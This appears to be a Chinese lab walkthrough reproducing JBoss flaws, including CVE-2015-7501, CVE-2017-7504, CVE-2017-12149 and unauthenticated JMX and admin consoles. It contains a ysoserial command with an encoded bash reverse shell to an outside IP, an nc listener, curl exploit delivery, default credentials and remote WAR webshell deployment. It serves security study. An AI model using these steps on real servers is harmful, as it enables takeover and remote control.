Jboss漏洞再现
一、CVE-2015-7501
1、开环境
2、访问地址
/
invoker/JMXInvokerServlet
出现了让下载的页面，说明有漏洞
3、下载ysoserial工具进行漏洞利用
4、在cmd运行
看到可以成功运行，接下来去base64编码我们反弹shell的命令
5、执行命令
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjE5OS4xNjQvNjY2NiAwPiYx}|{base64,-d} | {bash,-i} ">exp.ser
6、监听端口
nc -lvvp 6666
7、执行命令
curl http://150.158.199.164:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
8、得到shell
二、CVE-2017-7504
1、开环境
2、访问目录
/jbossmq-httpil/HTTPServerILServlet
3、在kali运行python程序
python jexboss.py -u 指定网站
拿到shell
三、CVE-2017-12149
1、开环境
2、访问目录
/invoker/readonly
返回500说明此页面存在反序列化漏洞
3、使用工具检测
输入网址，检测，存在漏洞，系统是Linux
4、执行命令
whoami
四、Administration Console弱口令
1、开环境
环境还是上一个的环境
2、登录后台
/admin-console/login.seam
使用弱口令admin/vulhub登录
3、点击web应用
4、上war包，注入这个包的名字不可以太短
5、访问文件
6、测试连接
五、低版本JMX Console未授权
1、开环境
访问/jmx-console/
密码是admin admin
2、进入目录
3、在我们服务器的网站上传一个war包
4、远程部署war包
http://150.158.199.164:8080/wjf111.war
5、访问文件
/wjf111/1.jsp
6、测试连接
六、高版本JMX Console未授权
1、开环境
访问/jmx-console
2、找到文件部署的位置
Jboss.system——service=MainDeployer
——deploy——java.net.URL
3、把我们服务器里的war包改下名字
4、远程部署war包
http://150.158.199.164/wjf222.war
5、访问文件
6、测试连接
